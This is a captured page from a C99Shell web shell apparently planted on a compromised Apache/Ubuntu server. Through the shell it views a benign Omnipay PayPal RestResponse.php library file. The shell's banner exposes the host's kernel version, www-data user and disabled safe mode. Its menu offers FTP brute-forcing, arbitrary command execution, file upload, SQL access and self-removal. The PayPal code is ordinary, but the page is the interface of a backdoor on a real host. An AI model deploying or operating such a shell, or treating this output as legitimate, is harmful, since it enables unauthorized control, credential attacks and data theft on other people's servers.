!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/omnipay/paypal/src/Message/   drwxr-xr-x
Free 13.16 GB of 57.97 GB (22.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     RestResponse.php (1.78 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * PayPal REST Response
 */

namespace Omnipay\PayPal\Message;

use 
Omnipay\Common\Message\AbstractResponse;
use 
Omnipay\Common\Message\RequestInterface;

/**
 * PayPal REST Response
 */
class RestResponse extends AbstractResponse
{
    protected 
$statusCode;

    public function 
__construct(RequestInterface $request$data$statusCode 200)
    {
        
parent::__construct($request$data);
        
$this->statusCode $statusCode;
    }

    public function 
isSuccessful()
    {
        return empty(
$this->data['error']) && $this->getCode() < 400;
    }

    public function 
getTransactionReference()
    {
        
// This is usually correct for payments, authorizations, etc
        
if (!empty($this->data['transactions']) && !empty($this->data['transactions'][0]['related_resources'])) {
            foreach (array(
'sale''authorization') as $type) {
                if (!empty(
$this->data['transactions'][0]['related_resources'][0][$type])) {
                    return 
$this->data['transactions'][0]['related_resources'][0][$type]['id'];
                }
            }
        }

        
// This is a fallback, but is correct for fetch transaction and possibly others
        
if (!empty($this->data['id'])) {
            return 
$this->data['id'];
        }

        return 
null;
    }

    public function 
getMessage()
    {
        if (isset(
$this->data['error_description'])) {
            return 
$this->data['error_description'];
        }

        if (isset(
$this->data['message'])) {
            return 
$this->data['message'];
        }
        
        return 
null;
    }

    public function 
getCode()
    {
        return 
$this->statusCode;
    }

    public function 
getCardReference()
    {
        if (isset(
$this->data['id'])) {
            return 
$this->data['id'];
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0049 ]--